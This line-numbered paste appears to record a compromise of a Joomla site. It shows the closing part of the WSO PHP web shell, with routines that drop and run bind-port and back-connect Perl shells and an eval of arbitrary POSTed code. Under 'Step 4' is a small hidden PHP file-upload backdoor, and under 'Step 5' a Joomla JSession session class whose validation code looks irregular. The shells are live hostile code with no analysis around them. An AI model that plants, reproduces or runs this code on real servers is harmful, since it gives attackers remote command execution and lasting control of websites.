1398                                                                    if (isset($_POST['p1'])) {
1399                                                                        function cf($f, $t) {
1400                                                                            $w = @fopen($f, "w") or @function_exists('file_put_contents');
1401                                                                            if ($w) {
1402                                                                                @fwrite($w, base64_decode($t));
1403                                                                                @fclose($w);
1404                                                                            }
1405                                                                        }
1406                                                                        if ($_POST['p1'] == 'bpp') {
1407                                                                            cf("/tmp/bp.pl", $bind_port_p);
1408                                                                            $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1409                                                                            sleep(1);
1410                                                                            echo "<pre class=ml1>$out
1411" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1412                                                                            unlink("/tmp/bp.pl");
1413                                                                        }
1414                                                                        if ($_POST['p1'] == 'bcp') {
1415                                                                            cf("/tmp/bc.pl", $back_connect_p);
1416                                                                            $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1417                                                                            sleep(1);
1418                                                                            echo "<pre class=ml1>$out
1419" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1420                                                                            unlink("/tmp/bc.pl");
1421                                                                        }
1422                                                                    }
1423                                                                    echo '</div>';
1424                                                                    wsoFooter();
1425                                                                }
1426                                                                function actionRC() {
1427                                                                    if (!@$_POST['p1']) {
1428                                                                        $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1429                                                                        echo serialize($a);
1430                                                                    } else {
1431                                                                        eval($_POST['p1']);
1432                                                                    }
1433                                                                }
1434                                                                if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1435                                                                else $_POST['a'] = 'SecInfo';
1436                                                                if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1437                                                                exit;
1438                                                                
1439
1440
1441
1442
1443
1444
1445
1446
1447Step 4 -----------------------------
1448http://pastebin.com/raw/gBrr1rrr
1449
1450
1451<?php echo 'walex'; if(isset($_GET['lee'])) {echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success 31337 \\</b><br><br>'; } else { echo '<b>Upload Failed !!!</b><br><br>'; } }} ?>
1452
1453
1454
1455Step 5 -----------------------------
1456http://pastebin.com/raw/UHAGT887
1457
1458
1459<?php
1460/**
1461 * @package     Joomla.Platform
1462 * @subpackage  Session
1463 *
1464 * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
1465 * @license     GNU General Public License version 2 or later; see LICENSE
1466 */
1467defined('JPATH_PLATFORM') or die;
1468
1469/**
1470 * Class for managing HTTP sessions
1471 *
1472 * Provides access to session-state values as well as session-level
1473 * settings and lifetime management methods.
1474 * Based on the standard PHP session handling mechanism it provides
1475 * more advanced features such as expire timeouts.
1476 *
1477 * @since  11.1
1478 */
1479class JSession implements IteratorAggregate
1480{
1481	/**
1482	 * Internal state.
1483	 * One of 'inactive'|'active'|'expired'|'destroyed'|'error'
1484	 *
1485	 * @var    string
1486	 * @see    JSession::getState()
1487	 * @since  11.1
1488	 */
1489	protected $_state = 'inactive';
1490
1491	/**
1492	 * Maximum age of unused session in minutes
1493	 *
1494	 * @var    string
1495	 * @since  11.1
1496	 */
1497	protected $_expire = 15;
1498
1499	/**
1500	 * The session store object.
1501	 *
1502	 * @var    JSessionStorage
1503	 * @since  11.1
1504	 */
1505	protected $_store = null;
1506
1507	/**
1508	 * Security policy.
1509	 * List of checks that will be done.
1510	 *
1511	 * Default values:
1512	 * - fix_browser
1513	 * - fix_adress
1514	 *
1515	 * @var    array
1516	 * @since  11.1
1517	 */
1518	protected $_security = array('fix_browser');
1519
1520	/**
1521	 * Force cookies to be SSL only
1522	 * Default  false
1523	 *
1524	 * @var    boolean
1525	 * @since  11.1
1526	 */
1527	protected $_force_ssl = false;
1528
1529	/**
1530	 * JSession instances container.
1531	 *
1532	 * @var    JSession
1533	 * @since  11.3
1534	 */
1535	protected static $instance;
1536
1537	/**
1538	 * The type of storage for the session.
1539	 *
1540	 * @var    string
1541	 * @since  12.2
1542	 */
1543	protected $storeName;
1544
1545	/**
1546	 * Holds the JInput object
1547	 *
1548	 * @var    JInput
1549	 * @since  12.2
1550	 */
1551	private $_input = null;
1552
1553	/**
1554	 * Holds the event dispatcher object
1555	 *
1556	 * @var    JEventDispatcher
1557	 * @since  12.2
1558	 */
1559	private $_dispatcher = null;
1560
1561	/**
1562	 * Constructor
1563	 *
1564	 * @param   string  $store    The type of storage for the session.
1565	 * @param   array   $options  Optional parameters
1566	 *
1567	 * @since   11.1
1568	 */
1569	public function __construct($store = 'none', array $options = array())
1570	{
1571		// Need to destroy any existing sessions started with session.auto_start
1572		if (session_id())
1573		{
1574			session_unset();
1575			session_destroy();
1576		}
1577
1578		// Disable transparent sid support
1579		ini_set('session.use_trans_sid', '0');
1580
1581		// Only allow the session ID to come from cookies and nothing else.
1582		ini_set('session.use_only_cookies', '1');
1583
1584		// Create handler
1585		$this->_store = JSessionStorage::getInstance($store, $options);
1586
1587		$this->storeName = $store;
1588
1589		// Set options
1590		$this->_setOptions($options);
1591
1592		$this->_setCookieParams();
1593
1594		$this->_state = 'inactive';
1595	}
1596
1597	/**
1598	 * Magic method to get read-only access to properties.
1599	 *
1600	 * @param   string  $name  Name of property to retrieve
1601	 *
1602	 * @return  mixed   The value of the property
1603	 *
1604	 * @since   12.2
1605	 */
1606	public function __get($name)
1607	{
1608		if ($name === 'storeName')
1609		{
1610			return $this->$name;
1611		}
1612
1613		if ($name === 'state' || $name === 'expire')
1614		{
1615			$property = '_' . $name;
1616
1617			return $this->$property;
1618		}
1619	}
1620
1621	/**
1622	 * Returns the global Session object, only creating it
1623	 * if it doesn't already exist.
1624	 *
1625	 * @param   string  $handler  The type of session handler.
1626	 * @param   array   $options  An array of configuration options.
1627	 *
1628	 * @return  JSession  The Session object.
1629	 *
1630	 * @since   11.1
1631	 */
1632	public static function getInstance($handler, $options)
1633	{
1634		if (!is_object(self::$instance))
1635		{
1636			self::$instance = new JSession($handler, $options);
1637		}
1638
1639		return self::$instance;
1640	}
1641
1642	/**
1643	 * Get current state of session
1644	 *
1645	 * @return  string  The session state
1646	 *
1647	 * @since   11.1
1648	 */
1649	public function getState()
1650	{
1651		return $this->_state;
1652	}
1653
1654	/**
1655	 * Get expiration time in minutes
1656	 *
1657	 * @return  integer  The session expiration time in minutes
1658	 *
1659	 * @since   11.1
1660	 */
1661	public function getExpire()
1662	{
1663		return $this->_expire;
1664	}
1665
1666	/**
1667	 * Get a session token, if a token isn't set yet one will be generated.
1668	 *
1669	 * Tokens are used to secure forms from spamming attacks. Once a token
1670	 * has been generated the system will check the post request to see if
1671	 * it is present, if not it will invalidate the session.
1672	 *
1673	 * @param   boolean  $forceNew  If true, force a new token to be created
1674	 *
1675	 * @return  string  The session token
1676	 *
1677	 * @since   11.1
1678	 */
1679	public function getToken($forceNew = false)
1680	{
1681		$token = $this->get('session.token');
1682
1683		// Create a token
1684		if ($token === null || $forceNew)
1685		{
1686			$token = $this->_createToken(12);
1687			$this->set('session.token', $token);
1688		}
1689
1690		return $token;
1691	}
1692
1693	/**
1694	 * Method to determine if a token exists in the session. If not the
1695	 * session will be set to expired
1696	 *
1697	 * @param   string   $tCheck       Hashed token to be verified
1698	 * @param   boolean  $forceExpire  If true, expires the session
1699	 *
1700	 * @return  boolean
1701	 *
1702	 * @since   11.1
1703	 */
1704	public function hasToken($tCheck, $forceExpire = true)
1705	{
1706		// Check if a token exists in the session
1707		$tStored = $this->get('session.token');
1708
1709		// Check token
1710		if (($tStored !== $tCheck))
1711		{
1712			if ($forceExpire)
1713			{
1714				$this->_state = 'expired';
1715			}
1716
1717			return false;
1718		}
1719
1720		return true;
1721	}
1722
1723	/**
1724	 * Method to determine a hash for anti-spoofing variable names
1725	 *
1726	 * @param   boolean  $forceNew  If true, force a new token to be created
1727	 *
1728	 * @return  string  Hashed var name
1729	 *
1730	 * @since   11.1
1731	 */
1732	public static function getFormToken($forceNew = false)
1733	{
1734		$user    = JFactory::getUser();
1735		$session = JFactory::getSession();
1736
1737		// TODO: Decouple from legacy JApplication class.
1738		if (is_callable(array('JApplication', 'getHash')))
1739		{
1740			$hash = JApplication::getHash($user->get('id', 0) . $session->getToken($forceNew));
1741		}
1742		else
1743		{
1744			$hash = md5(JFactory::getApplication()->get('secret') . $user->get('id', 0) . $session->getToken($forceNew));
1745		}
1746
1747		return $hash;
1748	}
1749
1750	/**
1751	 * Retrieve an external iterator.
1752	 *
1753	 * @return  ArrayIterator  Return an ArrayIterator of $_SESSION.
1754	 *
1755	 * @since   12.2
1756	 */
1757	public function getIterator()
1758	{
1759		return new ArrayIterator($_SESSION);
1760	}
1761
1762	/**
1763	 * Checks for a form token in the request.
1764	 *
1765	 * Use in conjunction with JHtml::_('form.token') or JSession::getFormToken.
1766	 *
1767	 * @param   string  $method  The request method in which to look for the token key.
1768	 *
1769	 * @return  boolean  True if found and valid, false otherwise.
1770	 *
1771	 * @since   12.1
1772	 */
1773	public static function checkToken($method = 'post')
1774	{
1775		$token = self::getFormToken();
1776		$app = JFactory::getApplication();
1777
1778		if (!$app->input->$method->get($token, '', 'alnum'))
1779		{
1780			$session = JFactory::getSession();
1781
1782			if ($session->isNew())
1783			{
1784				// Redirect to login screen.
1785				$app->enqueueMessage(JText::_('JLIB_ENVIRONMENT_SESSION_EXPIRED'), 'warning');
1786				$app->redirect(JRoute::_('index.php'));
1787			}
1788			else
1789			{
1790				return false;
1791			}
1792		}
1793		else
1794		{
1795			return true;
1796		}
1797	}
1798
1799	/**
1800	 * Get session name
1801	 *
1802	 * @return  string  The session name
1803	 *
1804	 * @since   11.1
1805	 */
1806	public function getName()
1807	{
1808		if ($this->_state === 'destroyed')
1809		{
1810			// @TODO : raise error
1811			return null;
1812		}
1813
1814		return session_name();
1815	}
1816
1817	/**
1818	 * Get session id
1819	 *
1820	 * @return  string  The session name
1821	 *
1822	 * @since   11.1
1823	 */
1824	public function getId()
1825	{
1826		if ($this->_state === 'destroyed')
1827		{
1828			// @TODO : raise error
1829			return null;
1830		}
1831
1832		return session_id();
1833	}
1834
1835	/**
1836	 * Get the session handlers
1837	 *
1838	 * @return  array  An array of available session handlers
1839	 *
1840	 * @since   11.1
1841	 */
1842	public static function getStores()
1843	{
1844		$connectors = array();
1845
1846		// Get an iterator and loop trough the driver classes.
1847		$iterator = new DirectoryIterator(__DIR__ . '/storage');
1848
1849		/* @type  $file  DirectoryIterator */
1850		foreach ($iterator as $file)
1851		{
1852			$fileName = $file->getFilename();
1853
1854			// Only load for php files.
1855			if (!$file->isFile() || $file->getExtension() != 'php')
1856			{
1857				continue;
1858			}
1859
1860			// Derive the class name from the type.
1861			$class = str_ireplace('.php', '', 'JSessionStorage' . ucfirst(trim($fileName)));
1862
1863			// If the class doesn't exist we have nothing left to do but look at the next type. We did our best.
1864			if (!class_exists($class))
1865			{
1866				continue;
1867			}
1868
1869			// Sweet!  Our class exists, so now we just need to know if it passes its test method.
1870			if ($class::isSupported())
1871			{
1872				// Connector names should not have file extensions.
1873				$connectors[] = str_ireplace('.php', '', $fileName);
1874			}
1875		}
1876
1877		return $connectors;
1878	}
1879
1880	/**
1881	 * Shorthand to check if the session is active
1882	 *
1883	 * @return  boolean
1884	 *
1885	 * @since   12.2
1886	 */
1887	public function isActive()
1888	{
1889		return (bool) ($this->_state == 'active');
1890	}
1891
1892	/**
1893	 * Check whether this session is currently created
1894	 *
1895	 * @return  boolean  True on success.
1896	 *
1897	 * @since   11.1
1898	 */
1899	public function isNew()
1900	{
1901		$counter = $this->get('session.counter');
1902
1903		return (bool) ($counter === 1);
1904	}
1905
1906	/**
1907	 * Check whether this session is currently created
1908	 *
1909	 * @param   JInput            $input       JInput object for the session to use.
1910	 * @param   JEventDispatcher  $dispatcher  Dispatcher object for the session to use.
1911	 *
1912	 * @return  void.
1913	 *
1914	 * @since   12.2
1915	 */
1916	public function initialise(JInput $input, JEventDispatcher $dispatcher = null)
1917	{
1918		$this->_input      = $input;
1919		$this->_dispatcher = $dispatcher;
1920	}
1921
1922	/**
1923	 * Get data from the session store
1924	 *
1925	 * @param   string  $name       Name of a variable
1926	 * @param   mixed   $default    Default value of a variable if not set
1927	 * @param   string  $namespace  Namespace to use, default to 'default'
1928	 *
1929	 * @return  mixed  Value of a variable
1930	 *
1931	 * @since   11.1
1932	 */
1933	public function get($name, $default = null, $namespace = 'default')
1934	{
1935		// Add prefix to namespace to avoid collisions
1936		$namespace = '__' . $namespace;
1937
1938		if ($this->_state === 'destroyed')
1939		{
1940			// @TODO :: generated error here
1941			$error = null;
1942
1943			return $error;
1944		}
1945
1946		if (isset($_SESSION[$namespace][$name]))
1947		{
1948			return $_SESSION[$namespace][$name];
1949		}
1950
1951		return $default;
1952	}
1953
1954	/**
1955	 * Set data into the session store.
1956	 *
1957	 * @param   string  $name       Name of a variable.
1958	 * @param   mixed   $value      Value of a variable.
1959	 * @param   string  $namespace  Namespace to use, default to 'default'.
1960	 *
1961	 * @return  mixed  Old value of a variable.
1962	 *
1963	 * @since   11.1
1964	 */
1965	public function set($name, $value = null, $namespace = 'default')
1966	{
1967		// Add prefix to namespace to avoid collisions
1968		$namespace = '__' . $namespace;
1969
1970		if ($this->_state !== 'active')
1971		{
1972			// @TODO :: generated error here
1973			return null;
1974		}
1975
1976		$old = isset($_SESSION[$namespace][$name]) ? $_SESSION[$namespace][$name] : null;
1977
1978		if (null === $value)
1979		{
1980			unset($_SESSION[$namespace][$name]);
1981		}
1982		else
1983		{
1984			$_SESSION[$namespace][$name] = $value;
1985		}
1986
1987		return $old;
1988	}
1989
1990	/**
1991	 * Check whether data exists in the session store
1992	 *
1993	 * @param   string  $name       Name of variable
1994	 * @param   string  $namespace  Namespace to use, default to 'default'
1995	 *
1996	 * @return  boolean  True if the variable exists
1997	 *
1998	 * @since   11.1
1999	 */
2000	public function has($name, $namespace = 'default')
2001	{
2002		// Add prefix to namespace to avoid collisions.
2003		$namespace = '__' . $namespace;
2004
2005		if ($this->_state !== 'active')
2006		{
2007			// @TODO :: generated error here
2008			return null;
2009		}
2010
2011		return isset($_SESSION[$namespace][$name]);
2012	}
2013
2014	/**
2015	 * Unset data from the session store
2016	 *
2017	 * @param   string  $name       Name of variable
2018	 * @param   string  $namespace  Namespace to use, default to 'default'
2019	 *
2020	 * @return  mixed   The value from session or NULL if not set
2021	 *
2022	 * @since   11.1
2023	 */
2024	public function clear($name, $namespace = 'default')
2025	{
2026		// Add prefix to namespace to avoid collisions
2027		$namespace = '__' . $namespace;
2028
2029		if ($this->_state !== 'active')
2030		{
2031			// @TODO :: generated error here
2032			return null;
2033		}
2034
2035		$value = null;
2036
2037		if (isset($_SESSION[$namespace][$name]))
2038		{
2039			$value = $_SESSION[$namespace][$name];
2040			unset($_SESSION[$namespace][$name]);
2041		}
2042
2043		return $value;
2044	}
2045
2046	/**
2047	 * Start a session.
2048	 *
2049	 * @return  void
2050	 *
2051	 * @since   12.2
2052	 */
2053	public function start()
2054	{
2055		if ($this->_state === 'active')
2056		{
2057			return;
2058		}
2059
2060		$this->_start();
2061
2062		$this->_state = 'active';
2063
2064		// Initialise the session
2065		$this->_setCounter();
2066		$this->_setTimers();
2067
2068		// Perform security checks
2069		$this->_validate();
2070
2071		if ($this->_dispatcher instanceof JEventDispatcher)
2072		{
2073			$this->_dispatcher->trigger('onAfterSessionStart');
2074		}
2075	}
2076
2077	/**
2078	 * Start a session.
2079	 *
2080	 * Creates a session (or resumes the current one based on the state of the session)
2081	 *
2082	 * @return  boolean  true on success
2083	 *
2084	 * @since   11.1
2085	 */
2086	protected function _start()
2087	{
2088		// Start session if not started
2089		if ($this->_state === 'restart')
2090		{
2091			session_regenerate_id(true);
2092		}
2093		else
2094		{
2095			$session_name = session_name();
2096
2097			// Get the JInputCookie object
2098			$cookie = $this->_input->cookie;
2099
2100			if (is_null($cookie->get($session_name)))
2101			{
2102				$session_clean = $this->_input->get($session_name, false, 'string');
2103
2104				if ($session_clean)
2105				{
2106					session_id($session_clean);
2107					$cookie->set($session_name, '', time() - 3600);
2108				}
2109			}
2110		}
2111
2112		/**
2113		 * Write and Close handlers are called after destructing objects since PHP 5.0.5.
2114		 * Thus destructors can use sessions but session handler can't use objects.
2115		 * So we are moving session closure before destructing objects.
2116		 *
2117		 * Replace with session_register_shutdown() when dropping compatibility with PHP 5.3
2118		 */
2119		register_shutdown_function('session_write_close');
2120
2121		session_cache_limiter('none');
2122		session_start();
2123
2124		return true;
2125	}
2126
2127	/**
2128	 * Frees all session variables and destroys all data registered to a session
2129	 *
2130	 * This method resets the $_SESSION variable and destroys all of the data associated
2131	 * with the current session in its storage (file or DB). It forces new session to be
2132	 * started after this method is called. It does not unset the session cookie.
2133	 *
2134	 * @return  boolean  True on success
2135	 *
2136	 * @see     session_destroy()
2137	 * @see     session_unset()
2138	 * @since   11.1
2139	 */
2140	public function destroy()
2141	{
2142		// Session was already destroyed
2143		if ($this->_state === 'destroyed')
2144		{
2145			return true;
2146		}
2147
2148		/*
2149		 * In order to kill the session altogether, such as to log the user out, the session id
2150		 * must also be unset. If a cookie is used to propagate the session id (default behavior),
2151		 * then the session cookie must be deleted.
2152		 */
2153		if (isset($_COOKIE[session_name()]))
2154		{
2155			$config = JFactory::getConfig();
2156			$cookie_domain = $config->get('cookie_domain', '');
2157			$cookie_path = $config->get('cookie_path', '/');
2158			setcookie(session_name(), '', time() - 42000, $cookie_path, $cookie_domain);
2159		}
2160
2161		session_unset();
2162		session_destroy();
2163
2164		$this->_state = 'destroyed';
2165
2166		return true;
2167	}
2168
2169	/**
2170	 * Restart an expired or locked session.
2171	 *
2172	 * @return  boolean  True on success
2173	 *
2174	 * @see     JSession::destroy()
2175	 * @since   11.1
2176	 */
2177	public function restart()
2178	{
2179		$this->destroy();
2180
2181		if ($this->_state !== 'destroyed')
2182		{
2183			// @TODO :: generated error here
2184			return false;
2185		}
2186
2187		// Re-register the session handler after a session has been destroyed, to avoid PHP bug
2188		$this->_store->register();
2189
2190		$this->_state = 'restart';
2191
2192		// Regenerate session id
2193		session_regenerate_id(true);
2194		$this->_start();
2195		$this->_state = 'active';
2196
2197		$this->_validate();
2198		$this->_setCounter();
2199
2200		return true;
2201	}
2202
2203	/**
2204	 * Create a new session and copy variables from the old one
2205	 *
2206	 * @return  boolean $result true on success
2207	 *
2208	 * @since   11.1
2209	 */
2210	public function fork()
2211	{
2212		if ($this->_state !== 'active')
2213		{
2214			// @TODO :: generated error here
2215			return false;
2216		}
2217
2218		// Keep session config
2219		$cookie = session_get_cookie_params();
2220
2221		// Kill session
2222		session_destroy();
2223
2224		// Re-register the session store after a session has been destroyed, to avoid PHP bug
2225		$this->_store->register();
2226
2227		// Restore config
2228		session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true);
2229
2230		// Restart session with new id
2231		session_regenerate_id(true);
2232		session_start();
2233
2234		return true;
2235	}
2236
2237	/**
2238	 * Writes session data and ends session
2239	 *
2240	 * Session data is usually stored after your script terminated without the need
2241	 * to call JSession::close(), but as session data is locked to prevent concurrent
2242	 * writes only one script may operate on a session at any time. When using
2243	 * framesets together with sessions you will experience the frames loading one
2244	 * by one due to this locking. You can reduce the time needed to load all the
2245	 * frames by ending the session as soon as all changes to session variables are
2246	 * done.
2247	 *
2248	 * @return  void
2249	 *
2250	 * @see     session_write_close()
2251	 * @since   11.1
2252	 */
2253	public function close()
2254	{
2255		session_write_close();
2256	}
2257
2258	/**
2259	 * Set session cookie parameters
2260	 *
2261	 * @return  void
2262	 *
2263	 * @since   11.1
2264	 */
2265	protected function _setCookieParams()
2266	{
2267		$cookie = session_get_cookie_params();
2268
2269		if ($this->_force_ssl)
2270		{
2271			$cookie['secure'] = true;
2272		}
2273
2274		$config = JFactory::getConfig();
2275
2276		if ($config->get('cookie_domain', '') != '')
2277		{
2278			$cookie['domain'] = $config->get('cookie_domain');
2279		}
2280
2281		if ($config->get('cookie_path', '') != '')
2282		{
2283			$cookie['path'] = $config->get('cookie_path');
2284		}
2285
2286		session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true);
2287	}
2288
2289	/**
2290	 * Create a token-string
2291	 *
2292	 * @param   integer  $length  Length of string
2293	 *
2294	 * @return  string  Generated token
2295	 *
2296	 * @since   11.1
2297	 */
2298	protected function _createToken($length = 32)
2299	{
2300		static $chars = '0123456789abcdef';
2301		$max = strlen($chars) - 1;
2302		$token = '';
2303		$name = session_name();
2304
2305		for ($i = 0; $i < $length; ++$i)
2306		{
2307			$token .= $chars[(rand(0, $max))];
2308		}
2309
2310		return md5($token . $name);
2311	}
2312
2313	/**
2314	 * Set counter of session usage
2315	 *
2316	 * @return  boolean  True on success
2317	 *
2318	 * @since   11.1
2319	 */
2320	protected function _setCounter()
2321	{
2322		$counter = $this->get('session.counter', 0);
2323		++$counter;
2324
2325		$this->set('session.counter', $counter);
2326
2327		return true;
2328	}
2329
2330	/**
2331	 * Set the session timers
2332	 *
2333	 * @return  boolean  True on success
2334	 *
2335	 * @since   11.1
2336	 */
2337	protected function _setTimers()
2338	{
2339		if (!$this->has('session.timer.start'))
2340		{
2341			$start = time();
2342
2343			$this->set('session.timer.start', $start);
2344			$this->set('session.timer.last', $start);
2345			$this->set('session.timer.now', $start);
2346		}
2347
2348		$this->set('session.timer.last', $this->get('session.timer.now'));
2349		$this->set('session.timer.now', time());
2350
2351		return true;
2352	}
2353
2354	/**
2355	 * Set additional session options
2356	 *
2357	 * @param   array  $options  List of parameter
2358	 *
2359	 * @return  boolean  True on success
2360	 *
2361	 * @since   11.1
2362	 */
2363	protected function _setOptions(array $options)
2364	{
2365		// Set name
2366		if (isset($options['name']))
2367		{
2368			session_name(md5($options['name']));
2369		}
2370
2371		// Set id
2372		if (isset($options['id']))
2373		{
2374			session_id($options['id']);
2375		}
2376
2377		// Set expire time
2378		if (isset($options['expire']))
2379		{
2380			$this->_expire = $options['expire'];
2381		}
2382
2383		// Get security options
2384		if (isset($options['security']))
2385		{
2386			$this->_security = explode(',', $options['security']);
2387		}
2388
2389		if (isset($options['force_ssl']))
2390		{
2391			$this->_force_ssl = (bool) $options['force_ssl'];
2392		}
2393
2394		// Sync the session maxlifetime
2395		ini_set('session.gc_maxlifetime', $this->_expire);
2396
2397		return true;
2398	}
2399
2400	/**
2401	 * Do some checks for security reason
2402	 *
2403	 * - timeout check (expire)
2404	 * - ip-fixiation
2405	 * - browser-fixiation
2406	 *
2407	 * If one check failed, session data has to be cleaned.
2408	 *
2409	 * @param   boolean  $restart  Reactivate session
2410	 *
2411	 * @return  boolean  True on success
2412	 *
2413	 * @see     http://shiflett.org/articles/the-truth-about-sessions
2414	 * @since   11.1
2415	 */
2416	protected function _validate($restart = false)
2417	{
2418		// Allow to restart a session
2419		if ($restart)
2420		{
2421			$this->_state = 'active';
2422
2423			$this->set('session.client.address', null);
2424			$this->set('session.client.forwarded', null);
2425			$this->set('session.client.browser', null);
2426			$this->set('session.token', null);
2427		}
2428
2429		// Check if session has expired
2430		if ($this->_expire)
2431		{
2432			$curTime = $this->get('session.timer.now', 0);
2433			$maxTime = $this->get('session.timer.last', 0) + $this->_expire;
2434
2435			// Empty session variables
2436			if ($maxTime < $curTime)
2437			{
2438				$this->_state = 'expired';
2439
2440				return false;
2441			}
2442		}
2443
2444		// Record proxy forwarded for in the session in case we need it later
2445		if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
2446		{
2447			$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
2448		}
2449
2450		// Check for client address
2451		if (in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR']))
2452		{
2453			$ip = $this->get('session.client.address');
2454
2455			if ($ip === null)
2456			{
2457				$this->set('session.client.address', $_SERVER['REMOTE_ADDR']);
2458			}
2459			elseif ($_SERVER['REMOTE_ADDR'] !== $ip)
2460			{
2461				$this->_state = 'error';
2462
2463				return false;
2464			}
2465		}
2466
2467		// Record proxy forwarded for in the session in case we need it later
2468		if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP) !== false)
2469		{
2470			$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
2471		}
2472
2473		return true;
2474	}
2475}